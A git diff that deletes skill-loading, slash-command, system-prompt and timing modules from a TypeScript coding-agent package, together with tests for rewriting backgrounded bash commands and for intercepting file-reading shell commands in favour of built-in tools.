createSession(); - - const tool = session.state.tools.find((entry) => entry.name === "Skill"); - assert.ok(tool, "Skill tool should be registered"); - - const result = await tool.execute("call-1", { skill: "swift-testing" }); - assert.equal( - result.content[0]?.type === "text" ? result.content[0].text : "", - `\nReferences are relative to ${join(testDir, ".pi", "skills", "swift-testing")}.\n\n# Swift Testing\nUse this skill.\n`, - ); - }); - - it("returns a helpful error for unknown skills", async () => { - writeSkill( - testDir, - "swift-testing", - "Use for Swift Testing assertions and verification patterns.", - ); - const session = await createSession(); - const tool = session.state.tools.find((entry) => entry.name === "Skill"); - assert.ok(tool, "Skill tool should be registered"); - - const result = await tool.execute("call-2", { skill: "nonexistent" }); - const message = - result.content[0]?.type === "text" ? result.content[0].text : ""; - assert.match( - message, - /^Skill "nonexistent" not found\. Available skills: /, - ); - assert.match(message, /swift-testing/); - }); -}); diff --git a/packages/pi-coding-agent/src/core/skills.ts b/packages/pi-coding-agent/src/core/skills.ts deleted file mode 100644 index 52cc1381c..000000000 --- a/packages/pi-coding-agent/src/core/skills.ts +++ /dev/null @@ -1,546 +0,0 @@ -import { existsSync, readdirSync, readFileSync, statSync } from "node:fs"; -import { homedir } from "node:os"; -import { - basename, - dirname, - isAbsolute, - join, - relative, - resolve, - sep, -} from "node:path"; -import ignore from "ignore"; -import { CONFIG_DIR_NAME } from "../config.js"; -import { parseFrontmatter } from "../utils/frontmatter.js"; -import { toPosixPath } from "../utils/path-display.js"; -import type { ResourceDiagnostic } from "./diagnostics.js"; -import { canonicalizePath } from "./tools/path-utils.js"; - -/** - * The standard ecosystem skills directory used by skills.sh and the - * Agent Skills standard. All agents share this location for globally - * installed skills. - */ -export const ECOSYSTEM_SKILLS_DIR = join(homedir(), ".agents", "skills"); - -/** - * The standard project-level skills directory (`.agents/skills/` relative to cwd). - */ -export const ECOSYSTEM_PROJECT_SKILLS_DIR = ".agents"; - -/** - * Legacy skills directory (~/.sf/agent/skills/ or ~/.pi/agent/skills/). - * Read as a fallback so existing installs don't lose skills before migration runs. - */ -const LEGACY_SKILLS_DIR = join(homedir(), CONFIG_DIR_NAME, "agent", "skills"); - -/** Max name length per spec */ -const MAX_NAME_LENGTH = 64; - -/** Max description length per spec */ -const MAX_DESCRIPTION_LENGTH = 1024; - -const IGNORE_FILE_NAMES = [".gitignore", ".ignore", ".fdignore"]; - -type IgnoreMatcher = ReturnType; - -function prefixIgnorePattern(line: string, prefix: string): string | null { - const trimmed = line.trim(); - if (!trimmed) return null; - if (trimmed.startsWith("#") && !trimmed.startsWith("\\#")) return null; - - let pattern = line; - let negated = false; - - if (pattern.startsWith("!")) { - negated = true; - pattern = pattern.slice(1); - } else if (pattern.startsWith("\\!")) { - pattern = pattern.slice(1); - } - - if (pattern.startsWith("/")) { - pattern = pattern.slice(1); - } - - const prefixed = prefix ? `${prefix}${pattern}` : pattern; - return negated ? `!${prefixed}` : prefixed; -} - -function addIgnoreRules(ig: IgnoreMatcher, dir: string, rootDir: string): void { - const relativeDir = relative(rootDir, dir); - const prefix = relativeDir ? `${toPosixPath(relativeDir)}/` : ""; - - for (const filename of IGNORE_FILE_NAMES) { - const ignorePath = join(dir, filename); - if (!existsSync(ignorePath)) continue; - try { - const content = readFileSync(ignorePath, "utf-8"); - const patterns = content - .split(/\r?\n/) - .map((line) => prefixIgnorePattern(line, prefix)) - .filter((line): line is string => Boolean(line)); - if (patterns.length > 0) { - ig.add(patterns); - } - } catch { - // best-effort: ignore files may be inaccessible or malformed; skip silently - } - } -} - -export interface SkillFrontmatter { - name?: string; - description?: string; - "disable-model-invocation"?: boolean; - [key: string]: unknown; -} - -export interface Skill { - name: string; - description: string; - filePath: string; - baseDir: string; - source: string; - disableModelInvocation: boolean; -} - -export interface LoadSkillsResult { - skills: Skill[]; - diagnostics: ResourceDiagnostic[]; -} - -let loadedSkills: Skill[] = []; - -export function getLoadedSkills(): Skill[] { - return [...loadedSkills]; -} - -/** - * Validate skill name per Agent Skills spec. - * Returns array of validation error messages (empty if valid). - */ -function validateName(name: string, parentDirName: string): string[] { - const errors: string[] = []; - - if (name !== parentDirName) { - errors.push( - `name "${name}" does not match parent directory "${parentDirName}"`, - ); - } - - if (name.length > MAX_NAME_LENGTH) { - errors.push(`name exceeds ${MAX_NAME_LENGTH} characters (${name.length})`); - } - - if (!/^[a-z0-9-]+$/.test(name)) { - errors.push( - `name contains invalid characters (must be lowercase a-z, 0-9, hyphens only)`, - ); - } - - if (name.startsWith("-") || name.endsWith("-")) { - errors.push(`name must not start or end with a hyphen`); - } - - if (name.includes("--")) { - errors.push(`name must not contain consecutive hyphens`); - } - - return errors; -} - -/** - * Validate description per Agent Skills spec. - */ -function validateDescription(description: string | undefined): string[] { - const errors: string[] = []; - - if (!description || description.trim() === "") { - errors.push("description is required"); - } else if (description.length > MAX_DESCRIPTION_LENGTH) { - errors.push( - `description exceeds ${MAX_DESCRIPTION_LENGTH} characters (${description.length})`, - ); - } - - return errors; -} - -export interface LoadSkillsFromDirOptions { - /** Directory to scan for skills */ - dir: string; - /** Source identifier for these skills */ - source: string; -} - -/** - * Load skills from a directory. - * - * Discovery rules: - * - direct .md children in the root - * - recursive SKILL.md under subdirectories - */ -export function loadSkillsFromDir( - options: LoadSkillsFromDirOptions, -): LoadSkillsResult { - const { dir, source } = options; - return loadSkillsFromDirInternal(dir, source, true); -} - -function loadSkillsFromDirInternal( - dir: string, - source: string, - includeRootFiles: boolean, - ignoreMatcher?: IgnoreMatcher, - rootDir?: string, -): LoadSkillsResult { - const skills: Skill[] = []; - const diagnostics: ResourceDiagnostic[] = []; - - if (!existsSync(dir)) { - return { skills, diagnostics }; - } - - const root = rootDir ?? dir; - const ig = ignoreMatcher ?? ignore(); - addIgnoreRules(ig, dir, root); - - try { - const entries = readdirSync(dir, { withFileTypes: true }); - - for (const entry of entries) { - if (entry.name.startsWith(".")) { - continue; - } - - // Skip node_modules to avoid scanning dependencies - if (entry.name === "node_modules") { - continue; - } - - const fullPath = join(dir, entry.name); - - // For symlinks, check if they point to a directory and follow them - let isDirectory = entry.isDirectory(); - let isFile = entry.isFile(); - if (entry.isSymbolicLink()) { - try { - const stats = statSync(fullPath); - isDirectory = stats.isDirectory(); - isFile = stats.isFile(); - } catch { - // Broken symlink, skip it - continue; - } - } - - const relPath = toPosixPath(relative(root, fullPath)); - const ignorePath = isDirectory ? `${relPath}/` : relPath; - if (ig.ignores(ignorePath)) { - continue; - } - - if (isDirectory) { - const subResult = loadSkillsFromDirInternal( - fullPath, - source, - false, - ig, - root, - ); - skills.push(...subResult.skills); - diagnostics.push(...subResult.diagnostics); - continue; - } - - if (!isFile) { - continue; - } - - const isRootMd = includeRootFiles && entry.name.endsWith(".md"); - const isSkillMd = !includeRootFiles && entry.name === "SKILL.md"; - if (!isRootMd && !isSkillMd) { - continue; - } - - const result = loadSkillFromFile(fullPath, source); - if (result.skill) { - skills.push(result.skill); - } - diagnostics.push(...result.diagnostics); - } - } catch { - // best-effort: if directory traversal fails catastrophically, return partial results - } - - return { skills, diagnostics }; -} - -function loadSkillFromFile( - filePath: string, - source: string, -): { skill: Skill | null; diagnostics: ResourceDiagnostic[] } { - const diagnostics: ResourceDiagnostic[] = []; - - try { - const rawContent = readFileSync(filePath, "utf-8"); - const { frontmatter } = parseFrontmatter(rawContent); - const skillDir = dirname(filePath); - const parentDirName = basename(skillDir); - - // Validate description - const descErrors = validateDescription(frontmatter.description); - for (const error of descErrors) { - diagnostics.push({ type: "warning", message: error, path: filePath }); - } - - // Use name from frontmatter, or fall back to parent directory name - const name = frontmatter.name || parentDirName; - - // Validate name - const nameErrors = validateName(name, parentDirName); - for (const error of nameErrors) { - diagnostics.push({ type: "warning", message: error, path: filePath }); - } - - // Still load the skill even with warnings (unless description is completely missing) - if (!frontmatter.description || frontmatter.description.trim() === "") { - return { skill: null, diagnostics }; - } - - return { - skill: { - name, - description: frontmatter.description, - filePath, - baseDir: skillDir, - source, - disableModelInvocation: - frontmatter["disable-model-invocation"] === true, - }, - diagnostics, - }; - } catch (error) { - const message = - error instanceof Error ? error.message : "failed to parse skill file"; - diagnostics.push({ type: "warning", message, path: filePath }); - return { skill: null, diagnostics }; - } -} - -/** - * Format skills for inclusion in a system prompt. - * Uses XML format per Agent Skills standard. - * See: https://agentskills.io/integrate-skills - * - * Skills with disableModelInvocation=true are excluded from the prompt - * (they can only be invoked explicitly via /skill:name commands). - */ -export function formatSkillsForPrompt(skills: Skill[]): string { - const visibleSkills = skills.filter((s) => !s.disableModelInvocation); - - if (visibleSkills.length === 0) { - return ""; - } - - const lines = [ - "\n\nThe following skills provide specialized instructions for specific tasks.", - "Use the Skill tool with the exact skill name from when the task matches its description.", - "If the Skill tool reports an unknown skill, do not guess: use an exact name from or tell the user the skill is unavailable.", - "When a skill file references a relative path, resolve it against the skill directory (parent of SKILL.md / dirname of the path) and use that absolute path in tool commands.", - "", - "", - ]; - - for (const skill of visibleSkills) { - lines.push(" "); - lines.push(` ${escapeXml(skill.name)}`); - lines.push( - ` ${escapeXml(skill.description)}`, - ); - lines.push(` ${escapeXml(skill.filePath)}`); - lines.push(" "); - } - - lines.push(""); - - return lines.join("\n"); -} - -function escapeXml(str: string): string { - return str - .replace(/&/g, "&") - .replace(//g, ">") - .replace(/"/g, """) - .replace(/'/g, "'"); -} - -export interface LoadSkillsOptions { - /** Working directory for project-local skills. Default: process.cwd() */ - cwd?: string; - /** @deprecated Skills now use ~/.agents/skills/ exclusively. This option is ignored. */ - agentDir?: string; - /** Explicit skill paths (files or directories) */ - skillPaths?: string[]; - /** Include default skills directories. Default: true */ - includeDefaults?: boolean; -} - -function normalizePath(input: string): string { - const trimmed = input.trim(); - if (trimmed === "~") return homedir(); - if (trimmed.startsWith("~/")) return join(homedir(), trimmed.slice(2)); - if (trimmed.startsWith("~")) return join(homedir(), trimmed.slice(1)); - return trimmed; -} - -function resolveSkillPath(p: string, cwd: string): string { - const normalized = normalizePath(p); - return isAbsolute(normalized) ? normalized : resolve(cwd, normalized); -} - -/** - * Load skills from all configured locations. - * Returns skills and any validation diagnostics. - */ -export function loadSkills(options: LoadSkillsOptions = {}): LoadSkillsResult { - const { - cwd = process.cwd(), - skillPaths = [], - includeDefaults = true, - } = options; - - const skillMap = new Map(); - const realPathSet = new Set(); - const allDiagnostics: ResourceDiagnostic[] = []; - const collisionDiagnostics: ResourceDiagnostic[] = []; - - function addSkills(result: LoadSkillsResult) { - allDiagnostics.push(...result.diagnostics); - for (const skill of result.skills) { - // Resolve symlinks to detect duplicate files - const realPath = canonicalizePath(skill.filePath); - - // Skip silently if we've already loaded this exact file (via symlink) - if (realPathSet.has(realPath)) { - continue; - } - - const existing = skillMap.get(skill.name); - if (existing) { - collisionDiagnostics.push({ - type: "collision", - message: `name "${skill.name}" collision`, - path: skill.filePath, - collision: { - resourceType: "skill", - name: skill.name, - winnerPath: existing.filePath, - loserPath: skill.filePath, - }, - }); - } else { - skillMap.set(skill.name, skill); - realPathSet.add(realPath); - } - } - } - - if (includeDefaults) { - // Primary: ~/.agents/skills/ — the industry-standard skills.sh location - addSkills(loadSkillsFromDirInternal(ECOSYSTEM_SKILLS_DIR, "user", true)); - // Primary project: .agents/skills/ — standard project-level location - addSkills( - loadSkillsFromDirInternal( - resolve(cwd, ECOSYSTEM_PROJECT_SKILLS_DIR, "skills"), - "project", - true, - ), - ); - - // Legacy fallback: read skills from ~/.sf/agent/skills/ so existing - // installs keep working until the one-time migration in resource-loader - // copies them to ~/.agents/skills/. Skip if migration has completed. - const legacyMigrated = existsSync( - join(LEGACY_SKILLS_DIR, ".migrated-to-agents"), - ); - if ( - LEGACY_SKILLS_DIR !== ECOSYSTEM_SKILLS_DIR && - existsSync(LEGACY_SKILLS_DIR) && - !legacyMigrated - ) { - addSkills(loadSkillsFromDirInternal(LEGACY_SKILLS_DIR, "user", true)); - } - } - - const userSkillsDir = ECOSYSTEM_SKILLS_DIR; - const projectSkillsDir = resolve(cwd, ECOSYSTEM_PROJECT_SKILLS_DIR, "skills"); - - const isUnderPath = (target: string, root: string): boolean => { - const normalizedRoot = resolve(root); - if (target === normalizedRoot) { - return true; - } - const prefix = normalizedRoot.endsWith(sep) - ? normalizedRoot - : `${normalizedRoot}${sep}`; - return target.startsWith(prefix); - }; - - const getSource = (resolvedPath: string): "user" | "project" | "path" => { - if (!includeDefaults) { - if (isUnderPath(resolvedPath, userSkillsDir)) return "user"; - if (isUnderPath(resolvedPath, projectSkillsDir)) return "project"; - } - return "path"; - }; - - for (const rawPath of skillPaths) { - const resolvedPath = resolveSkillPath(rawPath, cwd); - if (!existsSync(resolvedPath)) { - allDiagnostics.push({ - type: "warning", - message: "skill path does not exist", - path: resolvedPath, - }); - continue; - } - - try { - const stats = statSync(resolvedPath); - const source = getSource(resolvedPath); - if (stats.isDirectory()) { - addSkills(loadSkillsFromDirInternal(resolvedPath, source, true)); - } else if (stats.isFile() && resolvedPath.endsWith(".md")) { - const result = loadSkillFromFile(resolvedPath, source); - if (result.skill) { - addSkills({ - skills: [result.skill], - diagnostics: result.diagnostics, - }); - } else { - allDiagnostics.push(...result.diagnostics); - } - } else { - allDiagnostics.push({ - type: "warning", - message: "skill path is not a markdown file", - path: resolvedPath, - }); - } - } catch (error) { - const message = - error instanceof Error ? error.message : "failed to read skill path"; - allDiagnostics.push({ type: "warning", message, path: resolvedPath }); - } - } - - loadedSkills = Array.from(skillMap.values()); - - return { - skills: [...loadedSkills], - diagnostics: [...allDiagnostics, ...collisionDiagnostics], - }; -} diff --git a/packages/pi-coding-agent/src/core/slash-commands.ts b/packages/pi-coding-agent/src/core/slash-commands.ts deleted file mode 100644 index efe3b02ca..000000000 --- a/packages/pi-coding-agent/src/core/slash-commands.ts +++ /dev/null @@ -1,57 +0,0 @@ -export type SlashCommandSource = "extension" | "prompt" | "skill"; - -export type SlashCommandLocation = "user" | "project" | "path"; - -export interface SlashCommandInfo { - name: string; - description?: string; - source: SlashCommandSource; - location?: SlashCommandLocation; - path?: string; -} - -export interface BuiltinSlashCommand { - name: string; - description: string; -} - -export const BUILTIN_SLASH_COMMANDS: ReadonlyArray = [ - { name: "settings", description: "Open settings menu" }, - { name: "model", description: "Select model (opens selector UI)" }, - { - name: "scoped-models", - description: "Enable/disable models for Ctrl+P cycling", - }, - { name: "export", description: "Export session to HTML file" }, - { name: "share", description: "Share session as a secret GitHub gist" }, - { name: "copy", description: "Copy last agent message to clipboard" }, - { name: "name", description: "Set session display name" }, - { name: "session", description: "Show session info and stats" }, - { name: "changelog", description: "Show changelog entries" }, - { name: "hotkeys", description: "Show all keyboard shortcuts" }, - { name: "fork", description: "Create a new fork from a previous message" }, - { name: "tree", description: "Navigate session tree (switch branches)" }, - { name: "provider", description: "Manage provider configuration" }, - { name: "login", description: "Login with OAuth provider" }, - { name: "logout", description: "Logout from OAuth provider" }, - { name: "new", description: "Start a new session" }, - { name: "compact", description: "Manually compact the session context" }, - { name: "resume", description: "Resume a different session" }, - { - name: "reload", - description: "Reload extensions, skills, prompts, and themes", - }, - { - name: "thinking", - description: "Set thinking level (off/minimal/low/medium/high/xhigh)", - }, - { name: "edit-mode", description: "Toggle edit mode (standard/hashline)" }, - { - name: "terminal", - description: - "Run a shell command directly (e.g. /terminal ping -c3 1.1.1.1)", - }, - { name: "stop", description: "Stop the currently running response" }, - { name: "exit", description: "Quit pi" }, - { name: "quit", description: "Quit pi" }, -]; diff --git a/packages/pi-coding-agent/src/core/system-prompt.ts b/packages/pi-coding-agent/src/core/system-prompt.ts deleted file mode 100644 index bf14b1ad8..000000000 --- a/packages/pi-coding-agent/src/core/system-prompt.ts +++ /dev/null @@ -1,301 +0,0 @@ -/** - * System prompt construction and project context loading - */ - -import { getDocsPath, getExamplesPath, getReadmePath } from "../config.js"; -import { toPosixPath } from "../utils/path-display.js"; -import { formatSkillsForPrompt, type Skill } from "./skills.js"; - -/** Tool descriptions for system prompt */ -const toolDescriptions: Record = { - read: "Read file contents", - bash: "Execute bash commands (ls, grep, find, etc.)", - edit: "Make surgical edits to files (find exact text and replace)", - write: "Create or overwrite files", - grep: "Search file contents for patterns (respects .gitignore)", - find: "Find files by glob pattern (respects .gitignore)", - ls: "List directory contents", - lsp: "Code intelligence via Language Server Protocol (go-to-definition, references, diagnostics, hover, rename, symbols)", -}; - -export interface BuildSystemPromptOptions { - /** Custom system prompt (replaces default). */ - customPrompt?: string; - /** Tools to include in prompt. Default: [read, grep, find, ls, bash, edit, write, lsp] */ - selectedTools?: string[]; - /** Optional one-line tool snippets keyed by tool name. */ - toolSnippets?: Record; - /** Additional guideline bullets appended to the default system prompt guidelines. */ - promptGuidelines?: string[]; - /** Text to append to system prompt. */ - appendSystemPrompt?: string; - /** Working directory. Default: process.cwd() */ - cwd?: string; - /** Pre-loaded context files. */ - contextFiles?: Array<{ path: string; content: string }>; - /** Pre-loaded skills. */ - skills?: Skill[]; - /** - * Optional predicate applied to the `skills` list before rendering the - * catalog. Returning `false` omits a skill from the - * prompt (the skill remains loaded and invocable by name — only the - * catalog listing is suppressed). - * - * Intended for consumers that can narrow the relevant skill surface - * (e.g. per-unit-type manifests) to reduce cached system-prompt bloat. - * When omitted, all non-`disableModelInvocation` skills render — i.e. - * behavior is unchanged from before this option existed. - * - * Contract: the predicate must be **pure and synchronous**. It may be - * invoked on every system-prompt rebuild (tool-set changes and - * runtime resource-loader extensions both trigger one), so any state - * the closure captures should be stable across the rebuild window. - * If the predicate throws, `buildSystemPrompt` logs a warning and - * falls back to the unfiltered skill list — callers never see the - * exception and the session stays consistent. - */ - skillFilter?: (skill: Skill) => boolean; -} - -/** Build the system prompt with tools, guidelines, and context */ -export function buildSystemPrompt( - options: BuildSystemPromptOptions = {}, -): string { - const { - customPrompt, - selectedTools, - toolSnippets, - promptGuidelines, - appendSystemPrompt, - cwd, - contextFiles: providedContextFiles, - skills: providedSkills, - skillFilter, - } = options; - const resolvedCwd = toPosixPath(cwd ?? process.cwd()); - - const now = new Date(); - const dateTime = now.toLocaleString("en-US", { - weekday: "long", - year: "numeric", - month: "long", - day: "numeric", - hour: "2-digit", - minute: "2-digit", - second: "2-digit", - timeZoneName: "short", - }); - - const appendSection = appendSystemPrompt ? `\n\n${appendSystemPrompt}` : ""; - - const contextFiles = providedContextFiles ?? []; - const skillsBase = providedSkills ?? []; - let skills = skillsBase; - if (skillFilter) { - try { - skills = skillsBase.filter(skillFilter); - } catch (error) { - // A consumer's predicate threw. Fall back to the unfiltered list so - // the session stays consistent — callers (e.g. AgentSession.setTools) - // must not be left with updated tools but a stale system prompt. - const message = error instanceof Error ? error.message : String(error); - console.warn( - `buildSystemPrompt: skillFilter threw; falling back to unfiltered skills. Error: ${message}`, - ); - skills = skillsBase; - } - } - - if (customPrompt) { - let prompt = customPrompt; - - if (appendSection) { - prompt += appendSection; - } - - // Append project context files - if (contextFiles.length > 0) { - prompt += "\n\n# Project Context\n\n"; - prompt += "Project-specific instructions and guidelines:\n\n"; - for (const { path: filePath, content } of contextFiles) { - prompt += `## ${filePath}\n\n${content}\n\n`; - } - } - - // Append skills section (if read or Skill tool is available) - const customPromptHasSkillAccess = - !selectedTools || - selectedTools.includes("read") || - selectedTools.includes("Skill"); - if (customPromptHasSkillAccess && skills.length > 0) { - prompt += formatSkillsForPrompt(skills); - } - - // Add date/time and working directory last - prompt += `\nCurrent date and time: ${dateTime}`; - prompt += `\nCurrent working directory: ${resolvedCwd}`; - - // Append promptGuidelines from extension-registered tools. - // Without this, tools registered via pi.registerTool() with promptGuidelines - // have their definitions reach the API but the model has no guidance on when - // to use them (#1184). - if (promptGuidelines && promptGuidelines.length > 0) { - prompt += "\n\n"; - for (const guideline of promptGuidelines) { - prompt += guideline + "\n"; - } - } - - return prompt; - } - - // Get absolute paths to documentation and examples - const readmePath = getReadmePath(); - const docsPath = getDocsPath(); - const examplesPath = getExamplesPath(); - - // Build tools list based on selected tools. - // Built-ins use toolDescriptions. Custom tools can provide one-line snippets. - const tools = selectedTools || [ - "read", - "grep", - "find", - "ls", - "bash", - "edit", - "write", - "lsp", - ]; - const toolsList = - tools.length > 0 - ? tools - .map((name) => { - const snippet = - toolSnippets?.[name] ?? toolDescriptions[name] ?? name; - return `- ${name}: ${snippet}`; - }) - .join("\n") - : "(none)"; - - // Build guidelines based on which tools are actually available - const guidelinesList: string[] = []; - const guidelinesSet = new Set(); - const addGuideline = (guideline: string): void => { - if (guidelinesSet.has(guideline)) { - return; - } - guidelinesSet.add(guideline); - guidelinesList.push(guideline); - }; - - const hasBash = tools.includes("bash"); - const hasEdit = tools.includes("edit"); - const hasWrite = tools.includes("write"); - const hasGrep = tools.includes("grep"); - const hasFind = tools.includes("find"); - const hasLs = tools.includes("ls"); - const hasRead = tools.includes("read"); - const hasLsp = tools.includes("lsp"); - - // File exploration guidelines - if (hasBash && !hasGrep && !hasFind && !hasLs) { - addGuideline("Use bash for file operations like ls, rg, find"); - } else if (hasBash && (hasGrep || hasFind || hasLs)) { - addGuideline( - "Prefer grep/find/ls tools over bash for file exploration (faster, respects .gitignore)", - ); - } - - // Read before edit guideline - if (hasRead && hasEdit) { - addGuideline( - "Use read to examine files before editing. You must use this tool instead of cat or sed.", - ); - } - - // Edit guideline - if (hasEdit) { - addGuideline("Use edit for precise changes (old text must match exactly)"); - } - - // Write guideline - if (hasWrite) { - addGuideline("Use write only for new files or complete rewrites"); - } - - // LSP guideline - if (hasLsp) { - addGuideline( - `Use lsp as the primary tool for code navigation in typed codebases: -- Navigation: definition, type_definition, implementation, references, incoming_calls, outgoing_calls -- Understanding: hover (types + docs), signature (parameter info), symbols (file/workspace search) -- Refactoring: rename (project-wide), code_actions (quick-fixes, imports, refactors), format (formatter) -- Verification: diagnostics after edits to catch type errors immediately -- Never grep for a symbol definition when lsp can resolve it semantically -- Never shell out to a formatter when lsp format is available`, - ); - } - - // Output guideline (only when actually writing or executing) - if (hasEdit || hasWrite) { - addGuideline( - "When summarizing your actions, output plain text directly - do NOT use cat or bash to display what you did", - ); - } - - for (const guideline of promptGuidelines ?? []) { - const normalized = guideline.trim(); - if (normalized.length > 0) { - addGuideline(normalized); - } - } - - // Always include these - addGuideline("Be concise in your responses"); - addGuideline("Show file paths clearly when working with files"); - - const guidelines = guidelinesList.map((g) => `- ${g}`).join("\n"); - - let prompt = `You are a purpose-driven software compiler. You take bounded intent, produce a falsifiable purpose contract (the PDD/TDD gate), then write failing tests before implementation. You help users by reading files, executing commands, editing code, and writing new files. - -Available tools: -${toolsList} - -In addition to the tools above, you may have access to other custom tools depending on the project. - -Guidelines: -${guidelines} - -Pi documentation (read only when the user asks about pi itself, its SDK, extensions, themes, skills, or TUI): -- Main documentation: ${readmePath} -- Additional docs: ${docsPath} -- Examples: ${examplesPath} (extensions, custom tools, SDK) -- When asked about: extensions (docs/extensions.md, examples/extensions/), themes (docs/themes.md), skills (docs/skills.md), prompt templates (docs/prompt-templates.md), TUI components (docs/tui.md), keybindings (docs/keybindings.md), SDK integrations (docs/sdk.md), custom providers (docs/custom-provider.md), adding models (docs/models.md), pi packages (docs/packages.md) -- When working on pi topics, read the docs and examples, and follow .md cross-references before implementing -- Always read pi .md files completely and follow links to related docs (e.g., tui.md for TUI API details)`; - - if (appendSection) { - prompt += appendSection; - } - - // Append project context files - if (contextFiles.length > 0) { - prompt += "\n\n# Project Context\n\n"; - prompt += "Project-specific instructions and guidelines:\n\n"; - for (const { path: filePath, content } of contextFiles) { - prompt += `## ${filePath}\n\n${content}\n\n`; - } - } - - // Append skills section (if read or Skill tool is available) - const hasSkill = tools.includes("Skill"); - if ((hasRead || hasSkill) && skills.length > 0) { - prompt += formatSkillsForPrompt(skills); - } - - // Add date/time and working directory last - prompt += `\nCurrent date and time: ${dateTime}`; - prompt += `\nCurrent working directory: ${resolvedCwd}`; - - return prompt; -} diff --git a/packages/pi-coding-agent/src/core/timings.ts b/packages/pi-coding-agent/src/core/timings.ts deleted file mode 100644 index 4ef5fc8cf..000000000 --- a/packages/pi-coding-agent/src/core/timings.ts +++ /dev/null @@ -1,25 +0,0 @@ -/** - * Central timing instrumentation for startup profiling. - * Enable with PI_TIMING=1 environment variable. - */ - -const ENABLED = process.env.PI_TIMING === "1"; -const timings: Array<{ label: string; ms: number }> = []; -let lastTime = Date.now(); - -export function time(label: string): void { - if (!ENABLED) return; - const now = Date.now(); - timings.push({ label, ms: now - lastTime }); - lastTime = now; -} - -export function printTimings(): void { - if (!ENABLED || timings.length === 0) return; - console.error("\n--- Startup Timings ---"); - for (const t of timings) { - console.error(` ${t.label}: ${t.ms}ms`); - } - console.error(` TOTAL: ${timings.reduce((a, b) => a + b.ms, 0)}ms`); - console.error("------------------------\n"); -} diff --git a/packages/pi-coding-agent/src/core/tools/bash-background.test.ts b/packages/pi-coding-agent/src/core/tools/bash-background.test.ts deleted file mode 100644 index c591fd762..000000000 --- a/packages/pi-coding-agent/src/core/tools/bash-background.test.ts +++ /dev/null @@ -1,109 +0,0 @@ -/** - * bash-background.test.ts — Tests for rewriteBackgroundCommand - * - * Regression for #733: `cmd &` causes the bash tool to hang indefinitely - * because the background process inherits the piped stdout/stderr and keeps - * them open. rewriteBackgroundCommand injects >/dev/null 2>&1 before & when - * the command does not already redirect stdout. - */ - -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { rewriteBackgroundCommand } from "./bash.js"; - -describe("rewriteBackgroundCommand", () => { - describe("no-op cases (no & operator)", () => { - it("passes through a plain command unchanged", () => { - const r = rewriteBackgroundCommand("python -m http.server 8080"); - assert.equal(r.rewritten, false); - assert.equal(r.command, "python -m http.server 8080"); - }); - - it("passes through a command with && (logical AND)", () => { - const r = rewriteBackgroundCommand("npm install && npm start"); - assert.equal(r.rewritten, false); - }); - - it("passes through a command with & inside a string", () => { - const r = rewriteBackgroundCommand("echo 'foo & bar'"); - assert.equal(r.rewritten, false); - }); - }); - - describe("rewrite cases (& backgrounding)", () => { - it("rewrites bare background command", () => { - const r = rewriteBackgroundCommand("python -m http.server 8080 &"); - assert.equal(r.rewritten, true); - assert.ok( - r.command.includes(">/dev/null 2>&1"), - "injects stdout redirect", - ); - assert.ok(r.command.includes("&"), "preserves background operator"); - }); - - it("rewrites background command with trailing whitespace", () => { - const r = rewriteBackgroundCommand("python -m http.server 8080 & "); - assert.equal(r.rewritten, true); - assert.ok(r.command.includes(">/dev/null 2>&1")); - }); - - it("rewrites background command with & disown", () => { - const r = rewriteBackgroundCommand("node server.js & disown"); - assert.equal(r.rewritten, true); - assert.ok(r.command.includes(">/dev/null 2>&1")); - }); - - it("does NOT double-inject when stdout already redirected (>)", () => { - const r = rewriteBackgroundCommand( - "python -m http.server 8080 > server.log &", - ); - assert.equal(r.rewritten, false, "already has > redirect"); - }); - - it("does NOT inject when already redirected to /dev/null", () => { - const r = rewriteBackgroundCommand( - "python -m http.server 8080 >/dev/null 2>&1 &", - ); - assert.equal(r.rewritten, false, "already fully redirected"); - }); - - it("does NOT inject when command uses a pipe", () => { - const r = rewriteBackgroundCommand( - "python -m http.server 8080 | tee server.log &", - ); - assert.equal(r.rewritten, false, "stdout piped elsewhere"); - }); - }); - - describe("compound commands", () => { - it("rewrites only the backgrounded segment in a compound command", () => { - const r = rewriteBackgroundCommand( - "echo starting; python -m http.server 8080 &", - ); - assert.equal(r.rewritten, true); - assert.ok(r.command.includes(">/dev/null 2>&1 &")); - assert.ok( - r.command.includes("echo starting"), - "non-background part preserved", - ); - }); - - it("handles multiple backgrounded commands", () => { - const r = rewriteBackgroundCommand( - "node server.js &\npython worker.py &", - ); - assert.equal(r.rewritten, true); - const occurrences = (r.command.match(/\/dev\/null/g) ?? []).length; - assert.ok(occurrences >= 2, "both background commands rewritten"); - }); - }); - - describe("nohup / already-safe patterns pass through", () => { - it("nohup ... & passes through unchanged (already redirects)", () => { - const r = rewriteBackgroundCommand( - "nohup python -m http.server 8080 > /dev/null 2>&1 &", - ); - assert.equal(r.rewritten, false); - }); - }); -}); diff --git a/packages/pi-coding-agent/src/core/tools/bash-interceptor.test.ts b/packages/pi-coding-agent/src/core/tools/bash-interceptor.test.ts deleted file mode 100644 index f74186ea5..000000000 --- a/packages/pi-coding-agent/src/core/tools/bash-interceptor.test.ts +++ /dev/null @@ -1,295 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { - type BashInterceptorRule, - checkBashInterception, - compileInterceptor, - DEFAULT_BASH_INTERCEPTOR_RULES, -} from "./bash-interceptor.js"; - -const ALL_TOOLS = ["read", "grep", "find", "edit", "write"]; -const NO_TOOLS: string[] = []; - -describe("checkBashInterception", () => { - describe("read rule (cat/head/tail/less/more)", () => { - it("blocks cat with a file argument", () => { - const r = checkBashInterception("cat README.md", ALL_TOOLS); - assert.equal(r.block, true); - assert.equal(r.suggestedTool, "read"); - }); - - it("blocks head and tail", () => { - assert.equal( - checkBashInterception("head -n 20 file.ts", ALL_TOOLS).block, - true, - ); - assert.equal( - checkBashInterception("tail -f app.log", ALL_TOOLS).block, - true, - ); - }); - - it("does NOT block cat used as heredoc (cat < { - const r = checkBashInterception("cat < file.txt", ALL_TOOLS); - assert.notEqual(r.suggestedTool, "read"); - }); - - it("does NOT block when read tool is absent", () => { - assert.equal( - checkBashInterception("cat README.md", NO_TOOLS).block, - false, - ); - assert.equal( - checkBashInterception("cat README.md", ["grep"]).block, - false, - ); - }); - }); - - describe("grep rule", () => { - it("blocks grep and rg", () => { - assert.equal( - checkBashInterception("grep foo bar.ts", ALL_TOOLS).block, - true, - ); - assert.equal( - checkBashInterception("rg -r pattern .", ALL_TOOLS).block, - true, - ); - }); - - it("blocks grep with leading whitespace", () => { - assert.equal( - checkBashInterception(" grep -r foo .", ALL_TOOLS).block, - true, - ); - 